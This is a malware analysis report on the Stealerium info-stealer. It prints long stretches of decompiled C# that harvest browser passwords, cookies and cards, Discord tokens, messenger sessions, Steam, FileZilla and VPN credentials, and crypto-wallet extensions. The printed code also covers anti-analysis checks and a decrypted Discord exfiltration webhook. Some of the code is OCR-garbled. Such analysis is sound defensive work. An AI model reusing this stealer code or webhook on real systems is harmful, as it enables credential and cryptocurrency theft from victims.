A Detailed Analysis of a New Stealer Called

Stealerium

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Executive summary

Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor's addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.

Analysis and findings

SHA256: 7B19B3064720EFA6A65F69C6187ABBD0B812BF9F91DDE70088AFBB693814C930

The process creates a mutex called "B0P2018UODTBXZ90M2YK" to ensure that only one instance of the malware is running at a single time:

private static void Main() {
Thread thread = null;
Thread thread2 = null;
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.DefaultConnectionLimit = 9999;
MutexControl.Check();






Figure 2

The malware implements a function called "InitWorkDir" that creates a directory in the LocalAppData folder that is hidden. The directory name is the MD5 hash of the mutex name concatenated with the username, computer name, system language, CPU name, and GPU name, as shown below:










Figure 5

The stealer embedded an encrypted Discord webhook in its configuration. It verifies if the webhook contains the "---" string and kills the current process using a batch file created in the temporary folder if true:








Figure 7

Anti-Analysis Techniques

The executable implements a few anti-analysis mechanisms: a check if the public IP is hosting, colocated, or a data center; the detection of running malware analysis processes; the detection of virtual machines/sandboxes and the verification that the process is being debugged:





public	static bool Run()
	(Config.AntiAnalysis != "1")
{ }	return false;
	(AntiAnalysis.Hosting())
}	Logging.Log("AntiAnalysis : Hosting detected!", true);
if {	(AntiAnalysis.Processes())
}	<pre>Logging.Log("AntiAnalysis : Process detected!", true);</pre>
if {	(AntiAnalysis.VirtualBox())
}	Logging.Log("AntiAnalysis : Virtual machine detected!", true)
1†	(AntiAnalysis.SandBox())
} if	Logging.Log("AntiAnalysis : SandBox detected!", true); (AntiAnalysis.Debugger())
{	Logging.Log("AntiAnalysis : Debugger detected!", true);
} re	turn false;
3	

The binary performs a network request to a legitimate geolocation service and extracts the "hosting" field from the response. The URL is decrypted using the AES256 algorithm with the key that is hard-coded to "http[:]//ip-api[.]com/line/?fields=hosting" (see figure 11).

public	<pre>static bool Hosting()</pre>
try	
{	
	<pre>return new WebClient().DownloadString(StringsCrypt.Decrypt(new byte[]</pre>
	145,
	244,
	154,
	250,
	238,
	89,
	238,
	36,
	197,
	152,
	49,
	235,
	197,
	102,





The stealer searches for malware analysis tools such as Process Hacker, Wireshark, and TcpView, as highlighted in figure 12.



Figure 12

The malware verifies that it's not running in a virtual machine such as VirtualBox or VMware:



The malicious process checks for the presence of multiple DLLs corresponding to sandboxes (see figure 14).



Figure 14

The CheckRemoteDebuggerPresent API is utilized to verify whether the current process is being debugged:




Figure 15

A fake error message is displayed, and the process is terminated if any of the above checks pass:



Figure 16

The webhook and crypto wallet addresses are Base64-decoded and then decrypted using AES256:



73 public static string DecryptConfig(strin 74 {	ng value)	
75 if (string.IsNullOrEmpty(value))		
76 { 77 return ""; 78 }		
<pre>79 if (!value.StartsWith("ENCRYPTED:")</pre>		
80 { 81 return value; 82 }		
83 Restored Return StringsCrypt.Decrypt(Convert	<pre>.FromBase64String(value.Replace("ENCRYPTED:", "")));</pre>	
85		
86 // Token: 0x0400009F RID: 159		
0% - 4		
cals		
ame	Value	Туре
System.Text.Encoding.UTF8.get returned	(System.Text.UTF8Encoding)	System.Text.UTF8Encoding
System.Text.Encoding.GetString returned	*https://discord.com/api/webhooks/1060907354985615390/WCikclDbosEe15q4SgGzLPOZKwdwaOgOav5Tr-U4jr2MRIIuPAo8Tm1-874&10ok4W1*	
value	*ENCRYPTED:fleaTKsR0trQiaWh0H+vOvHR4WDn0LEpdxH+edudpJFrZEofKk1wiyLM1ufF2kb8AX9gG7Jxm2Axkn8wwpefUl5ybQDm7igZHj/bk0PPe+dVVoJ	

Figure 18

The process verifies whether the Discord webhook is valid or not:



Figure 19

The malicious binary creates a subfolder called "Username@Computername_Language" in the directory created by the InitWorkDir function (see figure 20).

public static string Save()
Console.WriteLine("Running passwords recovery"); if (!Directory.Exists(Passwords.PasswordsStoreDirectory))
<pre>Directory.CreateDirectory(Passwords.PasswordsStoreDirectory); }</pre>
else
try
Filemanager.RecursiveDelete(Passwords.PasswordsStoreDirectory); }
catch
Logging.Log("Stealer >> Failed recursive remove directory with passwords", true);
<pre>if (!Report.CreateReport(Passwords.PasswordsStoreDirectory)) {</pre>
return "";
} return Passwords.PasswordsStoreDirectory:
}
<pre>// Token: 0x0400001A RID: 26 private static readonly string PasswordsStoreDirectory = Path.Combine(Paths.InitWorkDir(), string.Concat(new string[]</pre>
<pre>private static reasonity string rasswordsstoreDirectory = Path.compile(Path.initworkDir(), string.concat(new string[] {</pre>
SystemInfo.Username,
"⊜", SystemInfo.Compname,
systeminto.comprame,
SystemInfo.Culture




Information Stealing - Browsers

The stealer targets multiple Chromium-based browsers (figure 21). Most can be found in the LocalAppData directory:

19 { 20 string path;	<pre>xt in Paths.SChromiumPswPaths) <pre>secfTonenp.CoffuserTill</pre></pre>	
% -		
als		
me	Value	Туре
schromiumPswPaths	string[0x000001E]	string[]
● [0]	@"\Chromium\User Data\"	
🤗 [1]	@"\Google\Chrome\User Data\"	
	@"\Google(x86)\Chrome\User Data\"	
🤗 [3]	@"\Opera Software\"	
	@"\MapleStudio\ChromePlus\User Data\"	
🤗 [5]	@"\Iridium\User Data\"	
🤗 [6]	@"7Star\7Star\User Data"	
	@"//CentBrowser\User Data"	
🥥 [8]	@"//Chedot\User Data"	
🤗 [9]	@"Vivaldi\User Data"	
🤗 [10]	@"Kometa\User Data"	
🤗 [11]	@"Elements Browser\User Data"	
🥥 [12]	@"Epic Privacy Browser\User Data"	
[13]	@"uCozMedia\Uran\User Data"	
🤗 [14]	@"Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer"	
[15]	@"CatalinaGroup\Citrio\User Data"	
[16]	@"Coowon\Coowon\User Data"	
[17]	@"liebao\User Data"	
[18]	@"QIP Surf\User Data"	
🥥 [19]	@"Orbitum\User Data"	
🥥 [20]	@"Comodo\Dragon\User Data"	
[21]	@"Amigo\User\User Data"	
[22]	@"Torch\User Data"	
[23]	@"Yandex\YandexBrowser\User Data"	
[24]	@"Comodo\User Data"	string
[25]	@"360Browser\Browser\User Data"	string
[26]	@"Maxthon3\User Data"	
[27]	@"K-Melon\User Data"	string
	@"CocCoc\Browser\User Data"	string
 [29] 	@"BraveSoftware\Brave-Browser\User Data"	string





The malware wants to steal credit cards, passwords, cookies, browser history, and bookmarks. The stolen information is saved in ".txt" files:



Figure 23

The malicious process extracts credit cards' information from the "credit_cards" table, which is located in the "Web Data" database. The credit card number is decrypted using the Master key extracted from the machine by calling the DpapiDecrypt function:






Figure 25



It extracts the URLs, usernames, and passwords from the "logins" table found in the "Login Data" database. The password is decrypted using the Master key, as shown below:

<pre>public static List<password> Get(string sLoginData) {</password></pre>	
<pre>List<password> list = new List<password>();</password></password></pre>	
<pre>SqLite sqLite = SqlReader.ReadTable(sLoginData, "logins"); if (sqLite == null) {</pre>	
return list;	
<pre>for (int i = 0; i < sqLite.GetRowCount(); i++) {</pre>	
Password item = new Password {	
<pre>Url = Crypto.GetUtf8(sqLite.GetValue(i, 0)), Username = Crypto.GetUtf8(sqLite.GetValue(i, 3)));</pre>	
<pre>string value = sqLite.GetValue(i, 5); if (value != null) (</pre>	
<pre>item.Pass = Crypto.GetUtf8(Crypto.EasyDecrypt(sLoginData, va list.Add(item);</pre>	alue));
Banking.ScanData(item.Url); Counter.Passwords++;	
catch (Exception ex)	
<pre>{ string str = "Chromium >> Failed collect passwords\n"; Exception ex2 = ex;</pre>	
<pre>Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true); }</pre>	
return list;	

Figure 27

The ScanData function is used to verify whether the URLs contain banking services, cryptocurrency, and adult content:



The binary extracts and decrypts the cookies from the "Cookies" database:



Figure 30

The stealer also targets the Browser History by retrieving some fields from the "urls" table found in the "History" database (see figure 31).




Figure 31

The "History" database also stores the "downloads" table that contains the Chromium-based browsers downloads:



Figure 32

The malware steals the autofill information from the "autofill" table found in the "Web Data" database:



Figure 33

Lastly, the process extracts the browser's Bookmarks:



Figure 34

The execution flow for Microsoft Edge is similar to the one presented so far and will not be explained. The browsers based on the Gecko browser engine are also a target for this stealer.

The binary traverses the "Profiles" directory and extracts bookmarks, cookies, browser history, and passwords (see figure 35).

12 public static void Run(string sSavePath) 13 {		
14 foreach (string text in Paths SGecko	BrowserPaths)	
15 {	·	
16 try 17 (
18 string name = new Directory	(nfo(text).Name:	
19 string text2 = sSavePath +		
20 string text3 = Paths.Appdate	+ "\\" + text;	
21 if (Directory.Exists(text3 +	+ "\\Profiles"))	
22 (23 Directory.CreateDirector		
	y(text2); cs = CBookmarks.Get(text3);	
25 List <cookie> cCookies =</cookie>		
26 List <site> sHistory = C</site>	<pre>fistory.Get(text3);</pre>	
	<pre>is = CPasswords.Get(text3);</pre>	
28 CBrowserUtils.WriteBooks	<pre>marks(bBookmarks, text2 + "\\Bookmarks.txt");</pre>	
	<pre>ies(cCookies, text2 + "\\Cookies.txt"); pry(sHistory, text2 + "\\History.txt");</pre>	
	words(pPasswords, text2 + "\\Passwords.txt");	
32 CLogins.GetDbFiles(text:	<pre>3 + "\\Profiles\\", text2);</pre>	
33 34		
35 catch (Exception ex)		
36 (
37 string str = "Firefox >> Failed String Str = "Firefox >> Failed String Str = "Firefox >> Failed String Strin	iled to recover data\n";	
38 Exception ex2 = ex;		
39 Logging.Log(str + ((ex2 != r 40	<pre>null) ? ex2.ToString() : null), true);</pre>	
41 }		
42 } 43 }		
44		
45		
0 % - <		
cals		
ame	Value	Туре
sgeckoBrowserPaths	string[0x0000006]	string[]
🤗 [0]		string
		string
	@"\\K-Meleon"	string
	@"\Thunderbird"	string
	@"\Comodo\lceDragon"	string
(5)	@"\8pecxstudios\Cyberfox"	string

The Bookmarks are extracted from the "moz_bookmarks" table found in the "places.sqlite" database:

lic static List <bookmark> Get(string path)</bookmark>	
List <bookmark> list = new List<bookmark>(); try</bookmark></bookmark>	
<pre>{ SqLite sqLite = SqlReader.ReadTable(CBookmarks.GetBookmarksDbPath(path), "moz_bookmarks if (sqLite == null)</pre>	;");
return list;	
<pre>for (int i = 0; i < sqLite.GetRowCount(); i++)</pre>	
<pre>Bookmark item = new Bookmark { Title = Crypto.GetUtf8(sqLite.GetValue(i, 5)) }; if (Crypto.GetUtf8(sqLite.GetValue(i, 1)).Equals("0") && !(item.Title == "0")) { Banking.ScanData(item.Title); Counter.Bookmarks++; list.Add(item); } }</pre>	
catch (Exception ex)	
<pre>string str = "Firefox >> bookmarks collection failed\n"; Exception ex2 = ex; Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true); }</pre>	
return list;	





Figure 37

The "moz_cookies" table located in the "cookies.sqlite" database contains the following fields that are retrieved: HostKey, Name, Value, Path, and ExpiresUtc.






Figure 38



The malicious process retrieves the browser history from the "moz_places" table found in the "places.sqlite" database:



The malware copies the following files: "key3.db", "key4.db", "logins.json", and "cert9.db". The LoadLibrary API is used to load the "mozglue.dll" and "nss3.dll" modules into the process's address space. Finally, the executable obtains the "hostname", "encryptedUsername", and "encryptedPassword" fields from the "logins.json" file and decrypts the last two by calling the Pk11SdrDecrypt function:






Figure 43

Information Stealing – Different Applications

The process is looking for files having the ".log" and ".ldb" extensions in multiple Discord directories. It extracts the Discord tokens and ensures they're valid:

public static string[] GetTokens()
List <string> list = new List<string>(); try</string></string>
foreach (string path in Discord.DiscordDirectories)
<pre>string text3 = Path.combine(Paths.Appdata, path); string text2 = Path.combine(Path.GetTempPath(), new DirectoryInfo(text3).Hame); if (Directory.Exist(text3))</pre>
<pre>filemanager.compdirectory(text3, text2); list.AddRage(from file in Directory.detFiles(text2) where file.EndsWith(`.log`) file.EndsWith(`.lob`) select File.ReadAllText(file) into text select Discond TokenReger.Natch(text) into match</pre>
<pre>where match.Success select match.Value + " - " + Discord.TokenState(match.Value)); Filemanager.RecursiveDelete(text2); } </pre>
catch (Exception value)
Console.WriteLine(value); } return list.ToArray();
// Token: 0x04000036 RID: 54 private static readonly Regex TokenRegex = new Regex("[a-zA-20-9]{24}\\.[a-zA-Z0-9]{6}\\.[a-zA-Z0-9]\-]{27} mfa\\.[a-zA-Z0-9_\\-]{84}");
// Token: 0x04000037 RID: 55 private static readonly string[] DiscordDirectories = new string[]
"Discond\local Storage\leveldb", "Discond PT0\local Storage\leveldb", "Discond Camary\leveldb"







The stealer extracts the Pidgin credentials from a file called "accounts.xml" and collects the chat logs:

private static void GetAccounts(string sSavePath)
<pre>string text = Path.Combine(Pidgin.PidginPath, "accounts.xml");</pre>
if (!File.Exists(text))
XmlDocument xmlDocument = new XmlDocument();
<pre>xmlDocument.Load(new XmlTextReader(text)); if (xmlDocument.DocumentElement != null)</pre>
<pre>foreach (object obj in xmlDocument.DocumentElement.ChildNodes)</pre>
<pre>{ X=lNode xmlNode = (XmlNode)obj; }</pre>
<pre>string innerText = xMlMode.childNodes[0].InnerText;</pre>
<pre>string innerText2 = xmlNode.ChildNodes[1].InnerText;</pre>
<pre>string innerText3 = xmlNode.ChildNodes[2].InnerText;</pre>
if (string.IsNullOrEmpty(innerText) string.IsNullOrEmpty(innerText2) string.IsNullOrEmpty(innerText3))
break;
<pre>Pidgin.SbTwo.AppendLine("Protocol: " + innerText);</pre>
<pre>Pidgin.SbTwo.AppendLine("Username: " + innerText2);</pre>
<pre>Pidgin.SbTwo.AppendLine("Password: " + innerText3 + "\r\n"); Counter.Pidgin++;</pre>
Counter.Plagin++;
if (Pidgin.SbTwo.Length > 0)
Directory.CreateDirectory(sSavePath);
<pre>File.AppendAllText(sSavePath + "\\accounts.txt", Pidgin.SbTwo.ToString());</pre>
/ catch (Exception ex)
<pre>string str = "Pidgin >> Failed to collect accounts\n";</pre>
<pre>Exception ex2 = ex; Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);</pre>
}

Figure 46



Outlook credentials are also a target for the malware. It queries the Windows registry looking for usernames and passwords that are decrypted by calling the ProtectedData.Unprotect function:




Figure 48



rivate static	string Get(string path, string[] clients)
string text	;
	(string text2 in clients)
	<pre>object infoFromRegistry = Outlook.GetInfoFromRegistry(path, text2);</pre>
	<pre>if (infofromRegistry != null && text2.Contains("Password") && !text2.Contains("2"))</pre>
	<pre>{ text = string.Concat(new string[]</pre>
	text,
	text2,
	", ", Outlook.DecryptValue((byte[])infoFromRegistry),
)); }
	else if (infoFromRegistry != null && (Outlook.SmptClient.IsMatch(infoFromRegistry.ToString()) Outlook.MailClient.IsMatch(infoFromRegistry.ToString())))
	<pre>text += string.Format("(0): {1}\r\n", text2, infoFromRegistry);</pre>
	/ else
	<pre>{ text = string.Concat(new string[]</pre>
	text,
	text2,
	<pre>", ", ", ", ", ", ", ", ", ", ", ", ", "</pre>
	"\r\n"
))))
	ch in the second s
) Peristo	<pre>yKey registryKey = Registry.CurrentUser.OpenSubKey(path, false);</pre>
if (reg	istrykey i moll)
(tex	t = registryKey.GetSubKeyNames().Aggregate(text, (string current, string client) => current + Outlook.Get(path + "\\" + client, clients));
return text	;

Figure 49



The binary copies the files corresponding to Telegram sessions to a directory called "Messenger\Telegram", as shown below:




Figure 51



Figure 52

Skype conversation history is also stolen by the malware (see figure 53).

<pre>public static void GetSession(string sSavePath) /</pre>	
if (!Directory.Exists(Skype.SkypePath))	
t return;	
<pre>} string text = Path.Combine(Skype.SkypePath, "Local Storage");</pre>	
if (Directory.Exists(text))	
try	
<pre>Filemanager.CopyDirectory(text, sSavePath + "\\Local Storage"); }</pre>	
catch	
return;	
Counter.Skype = true;	
<pre>// Token: 0x04000049 RID: 73 private static readonly string SkypePath = Path.Combine(Paths.Appdata, "Microsoft\\Skype for Desktop</pre>	
pratice searce reading serving skyper der s rachteoliozate (rachts sppdata), nachtosofte (tiskype for besktop	.,,

Figure 53

The Element messaging application is also targeted by the stealer:

public :	<pre>static void GetSession(string sSavePath)</pre>
if	(!Directory.Exists(Element.ElementPath))
¢.	
}	
str	<pre>ing text = Path.Combine(Element.ElementPath, "leveldb");</pre>
	(Directory.Exists(text))
	(or eccory.exists(text))
	<pre>Filemanager.CopyDirectory(text, sSavePath + "\\leveldb");</pre>
1 1	return;
}	
Cou	nter.Element = true:
3	
-	
// Toke	n: 0x0400003E RID: 62
nrivate	<pre>static readonly string ElementPath = Path.Combine(Paths.Appdata, "Element\\Local Storage")</pre>
pressure	state reasons) so any exement and reasons re(racis) proved storage /

Figure 54

Multiple directories corresponding to Signal application databases and configuration are copied to the initially created directory.

<pre>public static void GetSession(string sSavePath)</pre>
(
if (!Directory.Exists(Signal.SignalPath))
return;
<pre>string sourceFolder = Path.Combine(Signal.SignalPath, "databases");</pre>
<pre>string sourceFolder2 = Path.Combine(Signal.SignalPath, "Session Storage");</pre>
<pre>string sourceFolder3 = Path.Combine(Signal.SignalPath, "Local Storage");</pre>
<pre>string sourceFolder4 = Path.Combine(Signal.SignalPath, "sql");</pre>
try
Filemanager.CopyDirectory(sourceFolder, sSavePath + "\\databases");
<pre>Filemanager.CopyDirectory(sourceFolder2, sSavePath + "\\Session Storage");</pre>
<pre>Filemanager.CopyDirectory(sourceFolder3, sSavePath + "\\Local Storage");</pre>
<pre>Filemanager.CopyDirectory(sourceFolder4, sSavePath + "\\sql");</pre>
<pre>File.Copy(Signal.SignalPath + "\\config.json", sSavePath + "\\config.json");</pre>
catch
return;
Counter.Signal = true;
}
// Token: 0x0400003F RID: 63
<pre>private static readonly string SignalPath = Path.Combine(Paths.Appdata, "Signal");</pre>

Figure 55

The Tox directory found in the "%AppData%" folder is copied to the above directory:



Figure 56



The ICQ directory will also be exfiltrated, as displayed in figure 57.



Figure 57

The Steam path is extracted from the "SteamPath" registry value, and every game has a subkey under the "Software\Valve\Steam\Apps" registry key. The information about the Steam games is saved in a file called "Apps.txt":

publi	ic static bool GetSteamSession(string sSavePath)
F	RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam"); if (registryKey == null)
	<pre>return Logging.Log("Steam >> Application path not found in registry", false);</pre>
1	<pre>registryKey.GetValue("SteamPath").ToString(); if (!Directory.Exists(text)) </pre>
	return Logging.Log("Steam >> Application directory not found", false);
	<pre>princetory.CreateDirectory(sSavePath); try</pre>
	<pre>foreach (string text2 in registryKey.OpenSubKey("Apps").GetSubKeyNames())</pre>
	<pre>using (RegistryKey registryKey2 = registryKey.OpenSubKey("Apps\\" + text2))</pre>
	if (registryKey2 != null)
	<pre>string text3 = (string)registryKey2.GetValue("Name"); text3 = (string.IsNullorEmpty(text3) ? "Unknown" : text3); string text4 = ((int)registryKey2.GetValue("Installed") == 1) ? "Yes" : "No"; string text5 = ((int)registryKey2.GetValue("Updating") == 1) ? "Yes" : "No"; string text6 = ((int)registryKey2.GetValue("Updating") == 1) ? "Yes" : "No"; file.AppendAllrext(sSavePath + "\\Apps.txt", string.Concat(new string[] {</pre>

Figure 58

The malware collects the SSNF files and the Steam configuration files:

<pre>if (Directory.Exists(text))</pre>
Directory.CreateDirectory(SsavePath + "\\ssnf"); foreach (string text7 in Directory.GetFiles(text))
<pre>if (text7.Contains("ssfn")) (</pre>
<pre>File.Copy(text7, sSavePath + "\\ssnf\\" + Path.GetFileName(text7)); }</pre>
catch (Exception ex3)
<pre>string str2 = "Steam >> Failed collect steam .ssnf files\n"; Exception ex4 = ex3; Logging: Log(str2 + (ex4 != null) ? ex4.ToString() : null), true);</pre>
A second s second second se
<pre>string path = Path.Combine(text, "config"); if (Directory:Exists(path)) {</pre>
Directory.CreateDirectory(sSavePath + "\\configs"); foreach (string text8 in Directory.GetFiles(path))
<pre>if (text8.EndsWith("vdf"))</pre>
<pre>{ File.Copy(text8, sSavePath + *\\configs\\" + Path.GetFileHame(text8)); }</pre>
3
Statch (Exception ex5)
<pre>string str3 = "Steam >> Failed collect steam configs\n"; Exception ex6 = ex5;</pre>
Logging.Log(str3 + ((ex6 != null) ? ex6.ToString() : null), true);
try
<pre>string str4 = ((int)registryKey.GetValue("RememberPassword") == 1) ? "Yes" : "No"; string str5 = "Autologin User: ; object value = registryKey.GetValue("AutologinUser");</pre>
<pre>string contents = string.Format(str5 + ((value != null) ? value.ToString() : null) + "\nRemember password: " + str4, Array.Emptycobject>()) File.NmiteAllText(sSavePath + "\\SteamInfo.txt", contents); }</pre>




The stealer retrieves the files found in the "%AppData%\Ubisoft Game Launcher" folder:

<pre>public static bool GetUplaySession(string sSavePath)</pre>
<pre>{ if (!Directory.Exists(Uplay.Path)) { //</pre>
<pre>return Logging.Log("Uplay >> Session not found", true); }</pre>
try
Directory.CreateDirectory(sSavePath);
<pre>foreach (string text in Directory.GetFiles(Uplay.Path))</pre>
<pre>File.Copy(text, System.IO.Path.Combine(sSavePath, System.IO.Path.GetFileName(text))); }</pre>
Counter.Uplay = true; }
catch (Exception ex)
<pre>string str = "Uplay >> Error\n";</pre>
Exception ex2 = ex;
<pre>return Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), false); }</pre>
return true;
// Token: 0x0400004C RID: 76
<pre>private static readonly string Path = System.IO.Path.Combine(Paths.Lappdata, "Ubisoft Game Launcher")</pre>

Figure 60

The files with the ".db" and ".config" extensions from the BattleNET directory are copied to the stealer's directory:



The malicious process creates a directory that stores information related to Minecraft:

	(!Directory.Exists(Minecraft.MinecraftPath))
	return;
ry	
	<pre>Directory.CreateDirectory(sSavePath); Minecraft.SaveMods(sSavePath); Minecraft.SaveFiles(sSavePath); Minecraft.SaveVersions(sSavePath); if (!(Config.GrabberModule != "1")) { Minecraft.SaveLogs(sSavePath); Minecraft.SaveScreenshots(sSavePath); } </pre>
	ch (Exception ex)
	<pre>string str = "Minecraft >> Failed collect data\n"; Exception ex2 = ex; Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);</pre>

Figure 62

The Minecraft mods and versions files will be saved in ".txt" files along with their creation time extracted using the GetCreationTime function. The files containing "profile", "options", and "servers" will also be exfiltrated:





private (<pre>static void SaveFiles(string sSavePath)</pre>
try	
¢	<pre>string[] files = Directory.GetFiles(Minecraft.MinecraftPath); for (int i = 0; i < files.Length; i++)</pre>
	<pre>FileInfo fileInfo = new FileInfo(files[i]); string text = fileInfo.Name.ToLower(); if (text.Contains("rofile") text.Contains("options") text.Contains("servers") (fileInfo.CopyTo("ath.Combine(sSavePath, fileInfo.Name));</pre>
>	
cat	ch (Exception ex)
	<pre>string str = "Minecraft >> Failed collect profiles\n"; Exception ex2 = ex;</pre>
>	<pre>Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);</pre>
	n: 0x060000AE RID: 174 RVA: 0x000071E8 File Offset: 0x000053E8 static void <mark>SaveLogs(</mark> string sSavePath)
try	
ć	<pre>string path = Path.Combine(Minecraft.MinecraftPath, "logs"); string text = Path.Combine(sSavePath, "logs"); if (Directory.Exists(path)) < </pre>
	<pre>Directory.CreateDirectory(text); string[] files = Directory.GetFiles(path); for (int i = 0; i < files.Length; i++) (</pre>
	<pre>FileInfo fileInfo = new FileInfo(files[i]); if (fileInfo.Length < (long)Config.GrabberSizeLimit)</pre>
	<pre>string text2 = Path.Combine(text, fileInfo.Name); if (!File.Exists(text2)) </pre>
	<pre>fileInfo.CopyTo(text2); }</pre>
,	
cat	ch (Exception ex)
	<pre>string str = "Minecraft >> Failed collect logs\n"; Exception ex2 = ex;</pre>
3	<pre>Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);</pre>

Figure 64




If Config.GrabberModule is "1", then the stealer collects the Minecraft logs and screenshots:



Figure 65

Information Stealing – Cryptocurrency Wallets

Stealerium tries to locate cryptocurrency wallets such as Zcash, Armory, and others in the "%AppData%" folder, and Litecoin, Dash, and Bitcoin wallets in the registry:





The malicious executable copies multiple Chrome browser wallets in a new directory called "Chrome_Wallet":





pri	vate	<pre>static readonly List<string[]> ChromeWalletsDirectories = new List<string[]></string[]></string[]></pre>
		string[]
		"Chrome_Binance", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"
		string[]
		"Chrome_Bitapp", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\fikkakfobkmkjojpchpfgcmhfjmmnfpi"
	}, new {	string[]
		"Chrome_Coin98", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"
		string[]
		"Chrome_Equal", Paths.lappdata + "\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac" forman =
	{	string[]
		"Chrome_Guild", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"
		string[]
		"Chrome_Iconex", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"
		string[]
		"Chrome_Math", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"
		string[]
		"Chrome_Mobox", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"
		string[]
		"Chrome_Phantom", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"
		string[]
		"Chrome_Tron", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"
		string[]
		"Chrome_XinPay", Paths.Lappdata + "\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"

A similar execution flow deals with Microsoft Edge browser wallets, as shown below:



private	<pre>static readonly List<string[]> EdgeWalletsDirectories = new List<string[]></string[]></string[]></pre>
new	string[]
	"Edge_Auvitas", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\klfhbdnlcfcaccoakhceodhldjojboga"
	string[]
· ·	<pre>"Edge_Math", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\dfeccadlilpndjjohbjdblepmjeahlmm"</pre>
new	string[]
· · ·	"Edge_Metamask", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"
	string[]
>,	"Edge_MTV", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\oooiblbdpdlecigodndinbpfopomaegl"
	string[]
>.	"Edge_Rabet", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\aanjhgiamnacdfnlfnmgehjikagdbafd"
	string[]
	"Edge_Ronin", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\bblmcdckkhkhfhhpfcchlpalebmonecp"
	string[]
>,	"Edge_Yoroi", Paths.Lappdata + "\\Microsoft\\Edge\User Data\\Default\\Local Extension Settings\\akoiaibnepcedcplijmiamnaigbepmcb"
	string[]
,	"Edge_Zilpay", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\fbekallmnjoeggkefjkbebpineneilec"
	string[]
,	"Edge_Exodus", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\jdiccldimpdaibmpdkjnbmckianbfold"
new	string[]
,	"Edge_Terra_Station", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\ajkhoeiiokighlmdnlakpjfoobnjinie"
	string[]
	"Edge_Jaxx", Paths.Lappdata + "\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\dmdimapfghaakeibppbfeokhgoikeoci"

The malware parses the XML files located at "%AppData%\FileZilla\recentservers.xml" and "AppData\FileZilla\sitemanager.xml", and extracts the "User", "Pass", "Host", and "Port" fields. The password is Base64-decoded and is saved together with the username and the URL in a file called "Hosts.txt":

private static string FormatPassword(Password pPassword)
< columnation of the second se
return string.Concat(new string[]
"Url: ",
pPassword.Url,
"\nUsername: ",
pPassword.Username,
"\nPassword: ",
pPassword.Pass,
"\n\n"
));
<pre>public static void WritePasswords(string sSavePath) { Directory.CreateDirectory(sSavePath); List<password> list = FileZilla.Steal(sSavePath); if (list.Count != 0) { </password></pre>
<pre>foreach (Password pPassword in list) {</pre>
<pre>File.AppendAllText(sSavePath + "\\Hosts.txt", FileZilla.FormatPassword(pPassword)); } return:</pre>
Directory.Delete(sSavePath);

Figure 72



Figure 73

Information Stealing – VPN Software

The binary copies the ProtonVPN "user.config" file in a newly created directory called "VPN\ProtonVPN":

ublic static void Save(string sSavePath)
<pre>string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ProtonVPN if (lDirectory.Exists(path))</pre>
<pre>foreach (string text in Directory.GetDirectories(path)) </pre>
<pre>if (text.Contains("ProtonVPN.exe")) </pre>
<pre>{ string[] directories2 = Directory.GetDirectories(text); for (int j = 0; j < directories2.Length; j++) { string text2 = directories2[j] + "\\user.config"; string text3 = Path.Combine(sSavePath, new DirectoryInfo(Path.GetDirectoryName(text2)).Name); if (!Directory.Exist(text3)) (Counter.Vpn++; Directory.CreateDirectory(text3); File.Copy(text2, text3 + "\\user.config"); } catch } } </pre>



